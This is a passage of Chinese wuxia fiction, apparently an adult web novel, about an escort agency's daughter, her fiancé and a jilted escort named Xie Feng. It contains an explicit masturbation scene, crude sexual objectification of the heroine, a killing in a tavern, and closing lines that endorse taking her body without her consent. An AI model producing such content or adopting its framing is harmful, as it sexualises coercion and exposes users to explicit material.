图片载入中

风尘劫

特大字】 【大字】 【中字】 【小字

一、多情空遗恨“啊!来了,来了!”一个娇柔甜美的话声响起,十余道目光齐往面前的黄泥大道射去;但见

大道上尘土飞扬,粼粼的车声响起。突然,一道影子掠出,向着飞尘扬处奔去。

“这丫头又在胡闹了!”十余人中,一个面貌清的高瘦中年汉子抚须笑道:“看这次是否有本事劫镖。”

当这道影子向前飞奔数十丈之后,但见眼前飞尘中现出大约十余辆的镖车及数十名高矮不等的汉子;这些人一

见远处而来的人影,为首的一名矮胖壮汉立即举手比了个手势,一队人众停了下来。这时,由数十人中跳出一名少

年,向着奔来的那道影子跃身飞去。

但见两道影子互相逼近,瞬间白光一闪,“锵”地一声,两道影子皆应声停了下来,只见一男一女手中各持长

剑相对而立。

那女子约莫十七、八岁年纪,生个是一张小家碧玉的端丽面孔,皮肤雪白光润,身裁婀娜多姿,尤其是那一对

灵动的大眼睛眨呀眨着,展露出无比娇媚;而那少年看来也有二十岁了,剑眉入鬓,双瞳似漆,相貌颇为英挺;只

见他似笑非笑的神情,直盯着少女的端丽面容。

那少女柳眉一蹙,娇嚷道:“要命的滚开!姑奶奶劫镖来了!”

“劫镖?”那少年终于忍不住“噗嗤”一声,笑了出来:“你又来劫镖了?”

那少女咬唇顿足,“哼”的一声:“讨厌啦!你又来嘲笑我,看我不把你切了一块一块去喂狗!”剑随身起,

直向那少年刺去。

那少年一声:“来得好!”立即挺剑还击。

那少女拔剑在先,接招时却是一同出剑,剑花闪烁,响起金铁之声。两人拆了数十招,似乎是你来我往,不相

上下;只是那少女此时红润的脸颊更涨得通红,而那少年始终是笑着脸,轻轻松松地过招。

那少女心中一急,倏地转了个圈,剑招突变,三道寒芒分向少年上、中、下三盘划去。

“好!天地人三才无量剑!”少年一声轻叱,长剑抖动,长虹经天般朝刺来的三剑削去,只听得“锵铛啷”声

响,那少女的三剑立即被直削下来的一剑震开。少年得意地抬头一望,却见那少女嘟着嘴,蹙眉含怒地白了一眼,

不禁悚然一惊,立即收回长剑。

少女目光一亮,剑尖突而抖出两道诡异的弧形,卷向少年手中的长剑。“铛”的一声,少年的长剑应声落地。

少年不禁耸了耸肩膀,两手一摊道:“好吧!算你嬴。”

少女银铃般笑道:“输了就输了,什么算我嬴?心不甘情不愿的,哼!”狡狯地扮了个鬼脸,蹦蹦跳跳地来到

那为首的矮胖壮汉面前,亲腻地拉着他的臂膀,娇声道:“大叔,这次我总算嬴了吧?答应送我的东西呢?”

那矮胖汉子哈哈笑道:“好啊!小妮子,两个月不见,真是越来越调皮了,连你大师哥都欺负?”

那少女待要分辩,背后忽而传来中年男子的说话声:“这丫头,剑法没半点长进,倒是练就了不少欺负人的把

戏。”转身一看,却见那先前在彼端的高瘦中年汉子,牵着那比剑少年的手,含笑地走了过来。

顿时,一干车队的数十人众纷纷轰叫:“总镖头好久不见了!”“幸不辱命!这趟镖总算领回来了!”“嘿!

咱们‘威远镖局’的招牌响亮,没半个狗贼胆敢劫镖。”

那中年汉子微微一笑,拍着那矮胖汉子的肩膀道:“贤弟,这一次可辛苦你们了。”

矮胖汉子笑应道:“大哥那里的话,倒是诸位弟兄们一路上都战战兢兢地护着这趟镖,好在各帮派门会也很承

咱们的情,一路上平平安安的,竟然一点事端也没有。”

那中年汉子仰天大笑,朗声道:“各位弟兄们当真辛苦得紧,老夫已命人杀鸡宰羊,备妥陈年美酒,为各位洗

尘接风!”倏地众人轰然称好。

这高瘦中年汉子,正是“威远镖局”的总镖头陆德威,那矮胖汉子是他的胞弟,唤名陆德远。两人年轻时共创

“威远镖局”,十余年来虽比不上大规模镖局的分号遍布,却也搞得小有名堂;再加上兄弟俩为人四海,乐于结交,

是已福建省一带的保镖生意,“威远镖局”就揽了一半以上。陆氏兄弟也以此自足,不想往外地发展,抢别的镖局

的生意。

然而就在两个月前,一个住在京师的富商巨贾,开出巨额的酬劳,指定要“威远镖局”接他的镖。陆德威原本

不想打破原则,推辞不受,但实在拗不过所有镖师的一致劝说,几经思索之后,终于决定破例一次保这趟镖,但陆

德威的心中却大有隐忧;因为一来两地相隔数千里,一路上不但会加倍劳顿,找碴的帮会也必定会暴增;二来所要

保的镖,是一箱箱的奇珍异宝,价值连城,要“威远镖局”这种小号来保这大镖,风险实在太大。是已这两个月来,

陆德威每天无不愁眉深锁,胆颤心惊。今日得见车队归来,人车平安,心上一块石头落了地,才终于笑逐颜开,一

扫多日来的阴霾。

此时陆德威见自己的宝贝女儿陆玄霜,也就是那美貌少女,缠着胞弟陆德远不放,不禁摇头笑道:“霜儿,当

时说好了凭真本领取胜,你大叔才会送你礼物,你这次分明是使诈耍赖,没礼物可拿了。”

陆玄霜毫不迟疑地答道:“爹爹所言差矣!所谓‘兵不厌诈’,施点小手法有何不可?如果是实际临战,你这

个宝贝徒弟,我最敬爱的大师哥,便是有十条命也没了。大师哥,你说是不是?”说着向那少年眨眨眼,绽露出妩

媚的笑容。

那少年正是陆玄霜的大师哥,唤名白少丁。他见到陆玄霜的俏皮模样,心中一片酥软,笑道:“小师妹怎么说

怎么是,大师哥我不敢有意见。”

陆玄霜啐道:“没意见就没意见,什么‘不敢’有意见?讨厌啦!”说罢风情万种地白了白少丁一眼,与白少

丁含情脉脉的眼神相触,不禁心中一颤,羞答答地低着头,两颊红得发烫。

这般郎情妾意的光景,陆氏兄弟自然看在眼里;陆德远哈哈笑道:“好啊!少丁,小霜还未娶过门,你就对她

唯命是从,日后只怕也是个惧内的丈夫了。”

白少丁无奈一笑:“唉,我早就有心理准备了。。。。。。”

话声甫毕,众人皆嘻嘻哈哈笑了起来;有人索性嚷道:“喂!未来的白夫人,倘若白少爷以后不老实,你就罚

他跪算盘好了。”

白少丁与陆玄霜两人从小一起长大,青梅竹马,早已情投意合。而一年前陆德威更当众宣布俩人的婚约,有了

名正言顺的关系,所以众人并不忌讳开这对金童玉女的玩笑。

陆玄霜虽英气不让须眉,但毕竟是个黄花闺女,对于男女婚嫁之事,不免害羞。此时不禁“嘤咛”一声,佯叱

道:“讨厌啦!你们都来欺负我一个女孩子家,我。。。我再也不理你们了!”往白少丁脚背上一踩,羞答答地逃

了开来。只听到背后传来的,是白少丁“唉唷”的唉叫声及众人的哄堂大笑声。

陆玄霜羞红着脸,一口气跑回府城里,过了城门,才逐渐以走代跑,气喘嘘嘘,娇靥泛红,但依然掩不住心花

怒放而绽露脸上的笑容。想着方才的情景,心中一阵窃喜,不知不觉已回到“威远镖局”的大门前。

陆玄霜心头一定,但见熙来攘往的人群之中,站着一名身穿蓝衣的青年,折扇轻摇,抬头望着“威远镖局”四

个大字的匾额出神。陆玄霜心中起疑,便跨前两步,问道:“你要找谁?”

那蓝衫青年转过头来,陆玄霜定睛一看,不禁一呆,心想:“天下竟有如此俊俏的男人?便是大师哥也万万比

不上呢!”这人看来也有二十来岁年纪,皮肤极为白腻细致,一张粉脸白里透红,俊俏异常,眉弯鼻挺,目射精光,

折扇摇呀摇着,掩不住一副风流倜傥之气。

陆玄霜见这美男子盯着自己,不禁双颊绯红,低头想道:“这男子好生无礼,一见面就盯着人家不放。不过,

他长得真是英俊漂亮,令人不得不。。。”忍不住又偷瞄一眼。

这蓝衫青年似笑非笑地说道:“小霜姑娘,许久不见,你真是。。。呵呵!越来越漂亮了。”

陆玄霜听了蓝衫青年动听迷人的嗓音,浑身真有说不出的舒服,一时间失魂落魄般,不知方才他说了些什么。

蓝衫青年见她一脸迷惘之色,不禁微笑道:“看来小霜姑娘当真把我忘了,这也难怪,你我仅有一面之缘罢了。不

过。。。呵呵,我会让你一辈子记住的,后会有期了。。。。。。”说罢转身而去,渐渐消逝于人群之中。

陆玄霜见到他背影时,心里隐约有种熟识的感觉,总觉得这人的背影似乎在那看过,若要仔细去想,却又想不

起来。回想那蓝衫青年俊美的相貌,陆玄霜心中一甜,寻思:“这人当真英俊潇洒,令人喜欢,只可惜没来得及问

他名字就走了。。。”若有所思地轻叹一声,又想:“连大师哥都给比下去了。。。啊!”

当她想到白少丁时,心头一颤,心怀无比歉意:“我怎地见了这人就忘了大师哥?比较起来,还是。。。嘿!

还是大师哥较有男子气概。”

夜晚,“威远镖局”席宴全场,众人敬酒的敬酒,划拳的划拳,谈天的谈天,当真热闹非凡。然而却有人离开

了热闹的宴席,来到幽静的后花园中。

一个身裁窈窕的少女,蹲在莲花池旁,掷着一片片的小石打水漂儿;一个相貌英俊的少年,也站在少女身旁,

面带微笑地望着一片片的小石子弹起水面又落下。他们正是“威远镖局”的一对璧人──白少丁与陆玄霜。

当白少丁见到小石片在水面上弹起了五次才落入池中,不禁拍手笑道:“好啊!师妹,才两个月不见,你这打

水漂儿的工夫已胜我一筹了,记得小时候还是我教你的呢!”陆玄霜站起身来,忽而“嘤咛”一声,抱着白少丁的

身躯,整个脸埋入他的怀里。

白少丁先是一惊,继而面色一弛,柔声道:“这两个月我不在你身边陪伴你,我还以为你生气,再也不理我了。”

陆玄霜缓缓抬起头来,热泪盈眶地望着白少丁那温柔的双眼,颤声道:“你。。。你可知道你这一去,人家有

多担心?我看爹爹每天愁眉深锁,便猜出这趟镖的危险不比以往,我每天烧香祈拜,祈求你一路上平安,不要出事。。。”

说着,泪珠犹如断了线的珍珠般,沿着匀称的面庞滚了下来。

白少丁卷起衣袖,怜惜地拭去她的泪水,柔声道:“傻丫头,我这不是平平安安地回来了吗?长这么大了还掉

眼泪,不害躁?”

陆玄霜嘟嘴道:“还说呢!也不想想人家有多想你,净跟着他们胡闹瞎起哄,害得人家。。。哼!”

白少丁笑道:“反正咱们也快成亲了,让弟兄们开开玩笑,又有何妨?”

陆玄霜腼腆地说道:“人家。。。人家不好意思嘛!”说罢转过身来,低头不语。

白少丁从池中倒影,看到陆玄霜羞涩艳丽的娇容,在月光的照映下,当真美而不可方物;鼻子闻到的,是闺房

处子沁人心脾的芳香,不觉心神荡漾,忍不住抱住那纤细苗条的腰枝,在她的粉颊上轻轻一吻。

陆玄霜霎时羞得满脸通红,正当不知如何是好,白少丁一张俊脸紧贴着她那娇柔滑腻而又温香沁人的脸庞,柔

声道:“师妹,你知道吗?方才师父他老人家已当众宣布,待这次的任务结束后,就要举办咱们的婚礼了,你。。。

高不高兴?”

“嗯,我好高兴,真希望这天赶快来临。。。”陆玄霜闭上双眼,尽情享受着甜蜜的感觉,脸上一副陶醉的神

情;许久之后,陆玄霜脱离了他的怀抱,坐在一块石头上,蹙眉不语。

白少丁双手搭在她的细肩,柔声道:“又怎么了?”

陆玄霜吐了口气,幽幽说道:“这次的任务如此重大,大师哥,我好担心,如果路上有什么闪失,那我。。。”

白少丁哈哈笑道:“师妹,你真是担心过头了,你想想看,咱们一路上由京城千里迢迢地运镖回来,都是平平

安安的,什么事也没发生,现在要把镖护送到目的地广东的广州府,这又何难之有?”

陆玄霜道:“可是,大师哥,你不觉得奇怪吗?以往咱们保镖,总会有几个山寨盗匪找梁子;可是这次镖物如

此贵重,怎么反而会一路顺畅呢?”

白少丁搔头道:“这倒是有点反常,我也是百思不得其解,或许是咱门保密工夫做得好,又或许是咱们‘威远

镖局’的招牌,把那些盗匪吓跑了,搞不好。 .。”白少丁不知想到了什么,竟嘿嘿地笑了起来。

陆玄霜问道:“什么事好笑?搞不好什么?”

白少丁讪讪说道:“搞不好你天天为我烧香祈福,老天爷感动得要命,所以保佑了你相公,别让你还没嫁给我

就成了寡妇了。”

陆玄霜俏脸一红,“呸”了一声道:“谁要嫁给你了?你要是死了,我便嫁给更英俊潇洒的贵公子,才不为你

守寡呢!”嘴中说着,心中不知不觉又浮现出那蓝衫青年的影像。

白少丁促狭道:“哦?是吗?既然你不守妇道,那我这宝贝也不必送你了。”说着从袖中取出一只亮晃晃的物

件。

陆玄霜好奇道:“什么东西?给我瞧瞧!”将那物件抢来一看,原来是一支金色的五凤挂珠钗,那钗亮晶晶的,

十几颗珍珠垂着线褂晃来晃去的,极为精巧可爱。

陆玄霜讥笑道:“只是一支金钗而已,什么宝贝不宝贝的?要金钗我可多得是呢!”

白少丁道:“这可不是一支普通的金钗哦!你再仔细瞧瞧!”听他这么一说,陆玄霜又仔细瞧了一遍。

白少丁见她频频蹙眉,端的瞧不出其中端倪,不禁摇头一笑,接过金钗道:“师妹,瞧清楚了,这里有机关。”

说着便往金钗端上的第一只凤眼上一按,只见银虹一闪,一柄亮晃晃的短剑从钗身抽了出来。

白少丁见陆玄霜拍手称棒,嘴边露出一丝得意的微笑,说道:“可还不只如此呢!你瞧!”只见他往第二个凤

眼上按,“铛”的一声,剑身倏地伸长,成了一柄三尺长剑。

陆玄霜好奇的目光凝望着长剑,惊喜道:“原来是一柄钗中剑,好棒啊!大师哥,你从那里寻来的?”

白少丁把钗中剑恢复原形,说道:“我知道你一向喜欢稀奇新鲜的事物,一直想着这趟回来,要送你什么才好。

这次咱们运镖,顺路拜访了一位在河南开封府远近驰名的老铁匠,看到他打造一把把的好剑,我便有了灵感,要求

老先生为你设计打造这把‘钗中剑’,它是很美的饰物,更可以赶跑喜欢在你身边飞来飞去的苍蝇,相信你会喜欢

的。”

陆玄霜心中一哂,知道白少丁口中的苍蝇,指的是想要亲近她的男人。陆玄霜从小长的标致美丽,长大后更加

迷人,素有“福州府第一美人”之称,兼之她个性活泼豪放,向来也不忌讳男女之别,许多男人都借故亲近她。白

少丁虽一向乐观随和,心里多少会吃味,所以言语中略带醋意,并不为奇。

陆玄霜点头道:“嗯,我很喜欢,其实,便是一支普通的金钗,只要是你送的,我都。。。喜欢得紧。”

白少丁心中一甜,把金钗插在她的发髻上,抚着她娇嫩的面颊,柔声道:“师妹,你好美,希望你永远戴着这

支金钗,不管日后它有多老旧,都不要换下来 .。。”

陆玄霜大为感动,满怀柔情地注视着白少丁那温柔的双眼,道:“大师哥,你放心好了,我会好好珍惜它、爱

护它,即使它变得又老又旧,我也一样不改初衷,死心塌地地。。。爱着它。”

白少丁搂着她的娇躯,斩钉截铁地说道:“师妹,我发誓,它一定会好好保护你、爱护你,不会让你受到半点

委屈的。”两人一语双关的海誓山盟,道出了无限情意。

陆玄霜觉得好幸福,娇躯慵懒地依偎在他的怀里,柔声问道:“大师哥,你没骗我吧?”

白少丁毫不迟疑地回答:“若有丝毫谎言,你便用这支钗中剑将我脑袋砍了就是!”

陆玄霜摇头道:“倘若你当真说谎,我也不杀你,只怕我会一改初衷,换一柄更好的金钗来戴。”

白少丁笑道:“你放心,我不会给你机会的。”

隐约地,陆玄霜脑海中竟浮现出那蓝衫青年为自己戴上金钗的影像。陆玄霜心中大为不安,忙从白少丁的怀中

挣了开来,望着池中月影,心中一片惶然。

忽地,池中月影竟又浮现出那蓝衫青年迷人的笑容;陆玄霜瞠目惊视,心中碰然有声。正自出神之际,突然“

噗通”一声,一块石头射向水中月影,泛起的涟漪将陆玄霜眼中蓝衫青年的笑容弄得扭曲变形。

陆玄霜心头一颤,“啊”的一声惊叫,却听得白少丁哈哈笑道:“好久没打水漂儿,居然不太灵光了。”

陆玄霜坐了起来,两手抱腿,头靠膝上,两只眼睛失神地望着池中一波波的涟漪,寻思:“大师哥一向真心待

我,更何况现在和他已有婚约,我怎可心中藏着一个陌生的男人,这样太对不起大师哥了。。。”便道:“大师哥,

今天我遇见了一桩怪事。”

此时白少丁正玩得起劲,挥手一掷,小石片顺着力道飞向水池,在水面上弹跳了六次才掉入水中。白少丁欣然

道:“哈,姜还是老的辣,师妹,我这功夫还是不输给你。”

陆玄霜皱眉道:“你有没有听人家在说嘛?”白少丁道:“有啊!你遇到了什么怪事?”陆玄霜便将遇到蓝衫

青年的事全盘说出。

白少丁笑道:“哈哈,喜欢你的人果然很多。”

陆玄霜怒道:“人家跟你谈正经事,你怎么好像一点也不在乎?”

白少丁那想到她的大小姐脾气说发就发,不禁讪讪地吐了吐舌头,歉笑道:“你的事我怎会不在乎?可是我说

的没错啊!你经常出去玩,见过你这‘福州第一美人’的男人不知有多少,想必那男的也仰慕你,向你说那些话,

不过是要引你注意罢了,何必为此耿耿于怀?莫非。。。你对那男的有兴趣?”

陆玄霜闻言一愕,好像被说中心事般,满脸通红;但见白少丁一副不在乎的模样,心中有气,想说些话气气他,

便道:“如果我不否认呢?”

白少丁笑道:“那好极了,我就把他找来,让你对他了解个够。”

陆玄霜闻言,即刻变了脸色,娇躯微微颤抖,沉声道:“你。。。真的这么想?”

白少丁满怀柔情地握住她的双手,柔声道:“傻丫头,你是福州第一美女,喜欢你的男人比天上的星星还要多,

身为你的未婚夫婿,如果遇着什么事就争风喝醋,日后你怎么能过着像现在自由自在、无拘无束的生活呢?况且。。。

我对你有信心,我相信。。。你的心里只有我一人。”

白少丁的一番话,深深打动了陆玄霜的心,她在他的唇上轻轻一吻,柔声道:“大师哥,你真好;我发誓,我

会永远只爱你一个人。”

“小师妹。。。”白少丁的吻亦贴上了她的樱唇,热切地搜索着每一丝的甜蜜;花前月下,两人缱绻缠绵,也

不知过了多久,才双双携手离去。

倏地,在莲花池另一端假山之后,传出“碰”的一声,一株小树立即从树干断裂,倒了下来,一个人影缓缓从

假山后走出来。

那黑影背对着月光,是以看不见他的相貌,然而两只眼睛却是亮晶晶的,射出两道雄雄怒火。那人影重重地喘

着气,从嘴角发出一丝声音:“狗男女。。 .”。

“今。。。喝酒。。。过瘾。。。”从远处传来片片断断的说话声,那道人影倏地缩了回去。只见一高一矮两

名汉子从一条布满鹅卵石的小径上踉踉跄跄地走到莲花池旁,手中各拎了个酒瓶,像喝醉酒似的。

两人东张西望了一会儿,确定附近没人,对望一眼,便解开裤裆,将自己的那话儿掏出来,用手不断搓揉着勃

起的肉棒;他们的面额泛着红光,唿吸急促,胸膛一上一下地起伏着,那话儿也弄得既粗硬又亢奋。

也不知过了多久,那高汉子一声低吼,那话儿喷出大量浓稠的白色流体,射入莲花池中,那矮汉子喷出的白色

流状物也紧接着浮沉于池水之中。

这两人皆是“威远镖局”的镖师,较高的汉子叫史大,较矮的汉子叫陈忠。两人满足地嘘了口气,双双坐了下

来。史大道:“这会儿是真的过足了瘾,就只差没来真的。”

陈忠吃吃笑道:“咱们这种癞蛤蟆,焉能真的吃到天鹅肉?想玩真的?还是算了吧!咱们手上动,脑子想,也

不比真的差。”

史大啐道:“你又不知道我脑子里想的是谁,怎知我是癞蛤蟆,吃不到天鹅肉?”

陈忠“嘿嘿”笑道:“我就是知道。”

史大白了陈忠一眼,望着陈忠射在池中的浮沉物,问道:“喂,老陈,你脑子里想的是谁?怎能让你泄出这么

多?”

陈忠摇头笑道:“不足为外人道也。”

史大噘嘴道:“啐!有什么稀罕?你不说我也猜得出!”

陈忠道:“你倒说说看是谁。”

史大狞笑道:“说起这女人可乖乖不得了,美得像仙女那是不用说,身裁更是好得吓死人,那对奶子既娇嫩又

丰满,颤动起来真叫人目眩神摇;那腰部又细又苗条,还有两腿之间的那颗果实,哇赛!新鲜得可以掐出水来,只

消用舌头舔它一舔,妈的,整个人比飞上了天还要舒畅快活哩!这人不是别人,正是咱们总镖头的宝贝女儿,福州

府第一美人,我的小霜霜是也!”

史大话才说完,陈忠就迫不急待地跳了起来,大姆指一翘,称赞道:“厉害,一猜便中,正是我道中人。只是,

你怎么知道大小姐身裁这么好?你看过是不是?”

史大耸肩道:“这。。。看是没看过,只是方才我脑子里想的,正是这番光景;姓史的我没别的长处,就是看

人极准,如果不信的话,那天你把她身上衣服剥下来看就知道了。”

陈忠啐道:“什么嘛,说了半天也不是亲眼目睹,还夸口说大话!”失望地坐了下来,望着皎洁的明月,叹道

:“若比起来,白少爷可比咱们幸运多了。 .。”

史大道:“人家从小就和大小姐一起长大,现在又成了她的未婚夫婿,占尽了天时地利人和,你拿什么跟人家

比?别比了,越比越气人!”

陈忠道:“这话也有几番道理,不过比上不足,比下有余,至少大小姐还常常和咱们说说笑笑的,总比谢镖头

被大小姐冷落好得多了。”

史大点头道:“对,咱们还是识相点,在太虚幻境和我的小霜霜亲热就够了,可别像谢镖头把这份奢念带到现

实中,结果被人家落个不理不睬,脸都丢光了。”

陈忠奇道:“听你口气,你好像知道谢镖头被大小姐冷落的原因;喂,说来听听。”

史大得意笑道:“这你就找对人了。还记得一年前咱们保德化县赵员外的那趟镖吗?那时候咱们流年不利,算

错了路子,被‘紫光寨’那群兔崽子们给堵上了,好在白少爷接到了咱们的求救信鸽,便率众赶来救援,把那群土

匪打了个落花流水,保镖的任务也圆满达成。总镖头大为高兴,当晚庆功宴上,便当众宣布了两人的婚约,结果大

家表面上虽然笑着脸恭喜他们,实际上大家心都碎了,酒菜一上座,十之八九的弟兄们竟都猛喝闷酒。那时你也喝

醉了酒,我扶你回家时,你还直嚷着既然得不到大小姐,就不如自杀算了,你还记得吗?”

陈忠脸上一红,腼腆一笑道:“酒醉时的胡言乱语,我那记得?这跟谢镖头有什么关系?”

史大道:“关系可大了!就是因为你胡言乱语,害我不敢扶你走大门回去,所以绕到这后花园中,打算走后门

回去,岂知竟在这瞧见了大小姐和谢镖头两人。”

陈忠奇道:“我怎么没印象?”

史大道:“当时你醉死了,才扶你到这里,你就醉得不醒人事,当然没印象。我见他二人在此,一时好奇,就

躲起来看。”

陈忠急问:“他们说了些什么?”

史大道:“你也知道谢镖头是出了名的顺风耳,我那敢躲在近处?他们说了些什么,我自然听不见。不过他们

的一举一动,我倒是看得很清楚。”

陈忠忙扯着史大的衣袖,急道:“快说快说!”

史大得意一笑,继续说道:“我看见谢镖头叨叨切切地不知对大小姐说些什么,可是大小姐却猛摇头,后来谢

镖头跪了下来,对着大小姐直磕头,可是大小姐却别过头去,不加理会。我看谢镖头是吃了狗胆,你猜怎么着?他

居然扑了上去,抱住大小姐又亲又吻的。”

陈忠跳了起来,哇地叫道:“这还得了!他。。。到手了?”

史大摇头笑道:“没有,大小姐又叫又,谢镖头赶紧放了她,还挨了一记好大的耳光呢!嘿嘿!”

陈忠怫然道:“打得好!居然敢非礼大小姐,癞蛤蟆想吃天鹅肉!”

史大附和道:“就是嘛,也不撒泡尿瞧瞧自己的尊容,丑八怪一个,咱兄弟俩都轮不到了,那轮得到他?”

陈忠道:“难怪大小姐都不理她,真是天理昭彰,报应不爽,谢镖头他这是活该自作孽。咦?史大,这么重大

的事,你这张阔嘴怎么现在才说出来?别人知不知道?”

史大惶然道:“拜托!我躲着偷听,你觉不好好睡,居然给我打起鼾来,被谢镖头发现了,他威胁我不可张扬

出去,否则要给我白刀进红刀出;你也知道他发起狠来比什么都吓人,我自然守口如瓶,不敢泄漏只字。今着竟失

了分寸,泄漏与你;你可别说出去,害得我不明不白进了棺材。”

陈忠道:“你我过命的交情,我怎会陷害你?只是这谢镖头堵住你的嘴,别人却未必不知道;难道大小姐就没

有嘴,不会告诉总镖头或白少爷吗?”

史大道:“我也这么跟谢镖头说过,你猜他怎么说?他说,这种丢脸的事,依大小姐的脾气,绝对不会告诉总

镖头;而白少爷也一向宽大为怀,知道了这件事,也不会放在心上。”

陈忠摇头道:“啧啧,谢镖头打的算盘可真精,又搂抱又亲吻,嘿!便宜都被他占尽了。”

史大舔舔嘴唇,贪婪地说道:“他妈的!如果也能给我这个机会,老子非要好好弄她一次不可。”

陈忠双手互抱,两眼望着明月,痴痴地说道:“我并不贪心,只要能够摸摸她的身子,亲亲嘴,说几句情话,

便是死了我也甘心。”两人疯言疯语地说了一顿,酒性又发,将空酒瓶扔掉,一高一矮又踉踉跄跄地离开了。

躲在假山之后的人影这时移了出来,此时他面向明月,在月光的照映下,形貌一览无遗:稀眉、细眼、塌鼻、

尖嘴猴腮,长得又丑又怪。只见他拳头握得紧紧的,一股怒气油然而生。

这人正是史、陈二人所提起的谢镖头,单名一个锋字,今年二十五岁,原是福州土生土长的人,自小拜师,练

就了一身不赖的武艺。自从三年前在街上不经意见到了陆玄霜,惊为天人,为求近水楼台之便,遂投入“威远镖局”

的行列。由于武功不凡,不出二年即升任为镖头之职。

谢锋脾气乖戾,孤癖冷漠,许多镖师、趟子手都对他近鬼神而远之。一年前陆德威宣布了白、陆两人的婚事后,

谢锋顿时心痛如绞,遂藉着酒胆,向陆玄霜表达二年来的爱慕之情,不料竟至功败垂成,从此陆玄霜对他不理不睬,

避而远之,迄今依然如此。

第二天,陆氏兄弟召集各位镖头,商议三日后押镖起程,前往目的地──广州府。这一来,陆玄霜可乐坏了,

直缠着白少丁陪她打猎玩耍,白少丁拗不过师妹的要求,只好遵命了。

两人高高兴兴地并骑出了城门,顷刻间已然纵马上了山坡,进入丛林之中。这林子叶茂枝繁,藏了不少鸟兽,

白少丁弯弓射箭,“刷”地一声,一头山兔应声倒地,陆玄霜高兴得拍手叫好。

白少丁心想:“师妹从小就爱看我打猎,每次打到野鸡山兔一类的小兽就会高兴半天;今个儿索性猎些獐子或

野猪类的大兽,让师妹开开眼界。”

举目四顾,但见西首草丛沙沙作响;白少丁刷的一箭,射入草丛之中,只见一只山狐跳了起来,疾往西首林中

窜入。白少丁叫道:“师妹在此等我,待我活捉这野狐给你玩!”马鞭虚击,胯下白马昂首长嘶,追了上去。

陆玄霜见白少丁走远,便也搭着弓箭,留心着四下的动态。这时,东首的草丛颤颤摇动,发出沙沙之声;陆玄

霜“刷”的一箭射去,草丛立即停止了摇动。

陆玄霜高兴地纵下马来,心想:“这回不知射中了什么野兽,待会儿可要让大师兄夸奖一番了。”

一步步走向草丛,待要伸手拨开观看,忽地一道黑影猛然跳了起来。陆玄霜惊叫一声,重心不稳,整个身子便

向后倒;忽地一只手伸了过来,握住陆玄霜的左手,陆玄霜藉力一撑,整个身子站了起来,惊目一看,不由得更加

吃惊;眼前之人,不正是谢锋却又是谁?

谢锋右手握着陆玄霜的左手,左手握着一支箭,嗫嚅道:“小。。。霜。。 .姑娘。。。”脸上露出僵硬的笑

容。

陆玄霜左手挣了开来,退后两步,惊魂未定地颤声道:“怎。。。怎么是你?”

谢锋不禁兴奋地喘着气,颤声道:“小。。。霜姑娘,你终于。。。和我说话了,终于。。。开口和我说话了,

我。。。我。。。”

陆玄霜转过身去,冷冷道:“是你自己小家子气,不先来找我说话,我又何必理你?哼!”嘴角一撇,露出了

不屑的神情。

谢锋惶然谢罪道:“是!是!是我不对,以后我再也不敢了,请你原谅我!”一脸既紧张又兴奋的神情。

陆玄霜白了他一眼,冷然道:“你来这里干嘛?是向我炫耀你的武功好,还是想拿那支箭去向我爹告状,说我

用箭射你?”哼的一声,冷冷地盯着谢锋手上的那支箭。

谢锋忙摇头道:“不不!你不要误会,我是想告诉你一件事,可是又不敢打扰你们,所以一直躲在附近,等到

你一个人时才敢出来,岂料被你发现了,所以。。。”小心翼翼地捧着那支箭递上前去,唯恐招惹了陆玄霜不高兴。

可是陆玄霜竟伸掌将箭拍在地上,怒道:“你好无耻!居然偷偷跟在我和大师哥的背后监视我们,究竟是何居

心?”

谢锋急道:“没。。。没有,我只是来告诉你一件事。。。”

“我不想听!”陆玄霜沉声叱道:“我也不想再见到你,你快滚你的蛋,别站在这里碍眼!”

短短的几句话,却深深刺伤了谢锋的心;他全身颤抖,双拳紧握,两道伤心愤怒的目光,向陆玄霜无情的脸上

一扫,颤声道:“我真的。。。真的让你。。。如此厌恶?”

陆玄霜噘嘴冷笑道:“对!我讨厌你!也不照照镜子,看看自己这副德性,也敢动本姑娘的歪脑筋?呸!我老

实告诉你,我宁可和全天下喜欢我的男人好,也不会正眼瞧你一眼。你呀!最好走得远远的,我永远永远也不愿再

见到你。”谁也不会想到,陆玄霜冲口而出的怒言,日后居然应验了。

此时谢锋气得咬紧牙关,喘着怒气,一双细目睁得大大的,眼中充满了血丝,瞪着一脸毫不在乎的陆玄霜。

忽然西首远处传来白少丁的唿喊声:“师妹快来,我捉住它了!”陆玄霜闻言一喜,纵身跳上马背,头也不回

地策马奔去。

只听得陆玄霜道:“哇!这只狐狸可真大,大师哥你太棒了!”

白少丁哈哈一笑,问道:“那你呢?有没有发现猎物?”

陆玄霜微一迟疑,脱口说道:“没什么,只看见了一只疯狗。”

白少丁问道:“疯狗?疯狗在那里?”

陆玄霜道:“唉呀!别管疯狗了,咱们到那边去看看!”只听得两人的说笑声伴随着马蹄声逐渐变小、消失。

这时谢锋再也按纳不住,盈眶的泪水如洪水般滚滚流出。他一声长啸,没命似地发足狂奔,心中不断呐喊:“

我恨!我恨!我恨。。。”

也不知跑了多久,向着前面路旁挑出的一个酒招子闯了进去,泪眼左顾右盼,看见东首角落桌上的一只酒壶,

便一把抓起,咕噜咕噜地张嘴把酒往肚子里猛灌。

这桌的客倌哇哇叫道:“反了反了!这酒是老子花钱买来的,你凭什么。。 .”话未说完,谢锋唿的一拳击在

他的胸口上,那人立即飞射出去,撞墙倒地,顿时没了气息。

酒店掌柜不禁大叫:“哇!杀人啦!出人命啦!”店内客人顿时吓得乱叫一通,东躲西窜。

谢锋也不顾自己闯了大祸,只一昧地倾酒猛灌。待瓶口滴下最后一滴酒,谢锋往地上一掷,将酒壶砸个粉碎,

整个脸伏在案上,紧握着拳头,伤心呐喊着:“不如死了算了!不如死了算了。。。”

“呵呵,得不到小霜姑娘的心,得到肉体也不错呀!何必寻死呢?”谢锋听到身旁的说话声,缓缓地抬头一看,

朦胧的泪眼中,是一个摇着折扇的蓝衫青年。

谢锋心中一片茫然,道:“我不认识你。。。”蓝衫青年不禁露出了诡异的笑容。

二、惨事孰可忍日薄西山,白少丁与陆玄霜纵马回城。

两人并骑,有说有笑地漫行在大街上时,突然有一名花甲之年的相士拦于双骑之前,双目圆睁,惊惶嚷道:“

公子小姐请留步!请留步!”白、陆两人皆被这相士突如其来的举动吓了一跳,赶紧勒马停行。

白少丁才刚跃身下马,那相士立即抓着他的双腕,面色凝重地盯着他的脸,叹了口气道:“果然不是我眼花,

我没看错,唉!”

白少丁感到莫名其妙地问道:“老先生,你怎么了?有何指教呢?”这时陆玄霜也下了马背,疑惑地站在白少

丁身边。

